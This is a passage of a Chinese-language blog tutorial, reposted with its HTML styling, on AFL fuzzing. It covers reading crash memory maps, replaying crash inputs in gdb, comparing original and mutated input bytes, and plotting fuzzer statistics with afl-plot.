73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">38669039</span></span><span leaf="">                           /home/lab/Git/code/path/to/target</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">01461000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">0148a000</span></span><span leaf=""> rw-p </span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">                                  [heap]</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7f0ac4000000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7f0ac4021000</span></span><span leaf=""> rw-p </span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7f0ac4021000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7f0ac8000000</span></span><span leaf=""> ---p </span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acac29000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acac3f000</span></span><span leaf=""> r-xp </span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span leaf=""> fd</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">40899039</span></span><span leaf="">                   /lib/x86_64-linux-gnu/libgcc_s.so.1</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acac3f000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acae3e000</span></span><span leaf=""> ---p </span><span style="color: rgb(0, 92, 197);"><span leaf="">00016000</span></span><span leaf=""> fd</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">40899039</span></span><span leaf="">                   /lib/x86_64-linux-gnu/libgcc_s.so.1</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acae3e000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acae3f000</span></span><span leaf=""> rw-p </span><span style="color: rgb(0, 92, 197);"><span leaf="">00015000</span></span><span leaf=""> fd</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">40899039</span></span><span leaf="">                   /lib/x86_64-linux-gnu/libgcc_s.so.1</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acae3f000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acafff000</span></span><span leaf=""> r-xp </span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span leaf=""> fd</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">40895232</span></span><span leaf="">                   /lib/x86_64-linux-gnu/libc-</span><span style="color: rgb(0, 92, 197);"><span leaf="">2.23</span></span><span leaf="">.so</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acafff000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb1ff000</span></span><span leaf=""> ---p </span><span style="color: rgb(179, 29, 40);"><span leaf="">001c0000</span></span><span leaf=""> fd</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">40895232</span></span><span leaf="">                   /lib/x86_64-linux-gnu/libc-</span><span style="color: rgb(0, 92, 197);"><span leaf="">2.23</span></span><span leaf="">.so</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb1ff000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb203000</span></span><span leaf=""> r--p </span><span style="color: rgb(179, 29, 40);"><span leaf="">001c0000</span></span><span leaf=""> fd</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">40895232</span></span><span leaf="">                   /lib/x86_64-linux-gnu/libc-</span><span style="color: rgb(0, 92, 197);"><span leaf="">2.23</span></span><span leaf="">.so</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb203000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb205000</span></span><span leaf=""> rw-p </span><span style="color: rgb(179, 29, 40);"><span leaf="">001c4000</span></span><span leaf=""> fd</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">40895232</span></span><span leaf="">                   /lib/x86_64-linux-gnu/libc-</span><span style="color: rgb(0, 92, 197);"><span leaf="">2.23</span></span><span leaf="">.so</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb205000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb209000</span></span><span leaf=""> rw-p </span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb209000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb22f000</span></span><span leaf=""> r-xp </span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span leaf=""> fd</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">40895230</span></span><span leaf="">                   /lib/x86_64-linux-gnu/ld-</span><span style="color: rgb(0, 92, 197);"><span leaf="">2.23</span></span><span leaf="">.so</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb401000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb404000</span></span><span leaf=""> rw-p </span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb42d000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb42e000</span></span><span leaf=""> rw-p </span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb42e000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb42f000</span></span><span leaf=""> r--p </span><span style="color: rgb(0, 92, 197);"><span leaf="">00025000</span></span><span leaf=""> fd</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">40895230</span></span><span leaf="">                   /lib/x86_64-linux-gnu/ld-</span><span style="color: rgb(0, 92, 197);"><span leaf="">2.23</span></span><span leaf="">.so</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb42f000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb430000</span></span><span leaf=""> rw-p </span><span style="color: rgb(0, 92, 197);"><span leaf="">00026000</span></span><span leaf=""> fd</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">40895230</span></span><span leaf="">                   /lib/x86_64-linux-gnu/ld-</span><span style="color: rgb(0, 92, 197);"><span leaf="">2.23</span></span><span leaf="">.so</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb430000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7f0acb431000</span></span><span leaf=""> rw-p </span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7ffd1292a000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7ffd1294b000</span></span><span leaf=""> rw-p </span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">                          [stack]</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7ffd129c9000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7ffd129cc000</span></span><span leaf=""> r--p </span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">                          [vvar]</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">7ffd129cc000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">7ffd129ce000</span></span><span leaf=""> r-xp </span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">                          [vdso]</span><br/><span leaf="">ffffffffff600000-ffffffffff601000 r-xp </span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">                  [vsyscall]</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如你所见,我们针对每一个崩溃都得到了一份内存映射和一份回溯 (backtrace)。由于这里展示了 56 个崩溃样本,我对输出做了精简以便阅读,但希望它已经把要点展示得足够清楚了。真正的硬核部分马上就来!</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100012316" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=7bde25de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiaNKEbxRtuvlYhYic2kuNMZrx4Js91yCr8nKiaDicR7923AO02ItdCNjRER2m7vj5Ry9wXricNXWs8DnjQcONzbsyyZfniaSCr8kMqk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们能够完整地看到是哪个进程、哪种算法产生了该错误。此外,还能看到错误类型,以及关于其是否可被利用 (exploitable) 的估计。这就为我们打开了一扇深入挖掘 </span><em><span leaf="">/afl_out/process_name/crash_id/</span></em><span leaf="">的窗口,该目录里保存的正是用于产生该次崩溃的输入。我们随后可以对其进行分析,尝试得出崩溃发生的原因,甚至产出一个或多个 PoC 来利用这种行为!目前一个比较大的缺点是,exploitable 脚本只能处理最常见的架构 (x86 和 ARM)!如果你想 fuzz MIPS 和 PowerPC,就需要去 fork 官方仓库,并自行为其编写相应的逻辑!</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为目标应用程序构造 PoC 也变得容易得多,因为我们可以直接进入 gdb,在被 fuzz 的程序上执行那次崩溃!只需在命令行中运行下面的命令:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">$ gdb ./fuzzed_application</span><br/><span leaf="">gdb</span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span leaf=""> run /path/to/crash_folder/crash_id</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果我们再装上像 pwndbg 或 gdb-peda 这样的 gdb 扩展,排查问题就会变得轻而易举!</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100012319" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e03a9328&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjAlicesicyXxFaP7J7ws7jscsI42WveZRicsIqic0ccFxn52AaDm8qmako12SGicRhojuHic19wfrv0PtP40PsvLjvibv2eBFMictCMfA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们可以一眼看清寄存器的状态,同时也能大致了解是哪个函数因生成的输入而发生了崩溃。接下来,我们就可以深入到实际的源代码中,找出它为什么会在那里崩溃。这段输入到底是怎么把程序搞乱的?当你找到这个问题的答案时,就可以亲手构造一份畸形输入并为其编写 PoC。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为了让你直观地看到 afl 究竟把我用于触发本次崩溃的真实输入改造成了什么样,我下面会把原始输入与 afl 所产生、最终在所示状态触发目标崩溃的那份输入,做一个并排对比展示:</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100012320" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9303a408&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShiauLicDO0TxFBMgzY8qN7sI25Z62EchQRb2dEWtB1GjlWToIh6viaZnV2mpMOsRTPkIX8Rxhfsgu30SZeC5n8CxT2FV63B3qfBQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">绿色字节表示两份文件在该位置仍然相同。红色字节表示存在差异,意味着 afl 自主地对这些字节进行了变异 (右侧的就是被 afl 变异过的那一份)。</span></p><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">用图表呈现 afl 的运行结果</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">对那些痴迷于数字和统计的人而言,afl 也为我们准备了一个绝佳的特性!对每一个被启动的进程,我们都能拿到可绘图的数据!</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">$ ls</span><br/><span leaf="">crashes  fuzz_bitmap  fuzzer_stats  hangs  out  plot_data  queue</span><br/><span leaf="">$ afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">plot </span><span style="color: rgb(106, 115, 125);"><span leaf="">--help</span><br/></span><span leaf="">progress plotting utility for afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">fuzz by </span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;</span></span><span leaf="">lcamtuf@</span><span style="color: rgb(0, 92, 197);"><span leaf="">google</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">com</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><br/><span leaf="">This program generates gnuplot images </span><span style="color: rgb(215, 58, 73);"><span leaf="">from</span></span><span leaf=""> afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">fuzz output data. Usage:</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">usr</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">local</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">bin</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">plot afl_state_dir graph_output_dir</span><br/><span leaf="">$ afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">plot . out</span><br/><span leaf="">progress plotting utility for afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">fuzz by </span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;</span></span><span leaf="">lcamtuf@</span><span style="color: rgb(0, 92, 197);"><span leaf="">google</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">com</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><br/><span leaf="">[</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">] Generating plots...</span><br/><span leaf="">[</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">] Generating </span><span style="color: rgb(0, 92, 197);"><span leaf="">index</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">html</span></span><span leaf="">...</span><br/><span leaf="">[</span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span leaf="">] All done </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf=""> enjoy your charts!</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这会生成 3 张图:</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">一张展示每秒的执行速度,</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">一张展示路径覆盖率,</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">还有一张展示发现的崩溃 (crashes) 与挂起 (hangs)。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在我为本文准备的这个具体 fuzzing 示例中,它们看起来是这样的:</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100012322" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=16380050&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgGtvl09nJyPBC5eXXWnMBpjMWGH5tBJfJiczJ929YvQ6nOVicopmxdruIELvs171lRpwkYLQfP2nxkklQDgLfek364R9KunjwHM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100012321" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=45723a71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiaNCdHtJu38jEOg9VfJOXKR1jFMEhic4iaAjKQ7GUHSg67O4iaxvBicFEQHEZy4c40icwAmS8ReK5FmuUAuSJbGiaXEn8gicibmKMAh15s%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100012323" style="max-width: 100%;" data-type="png" 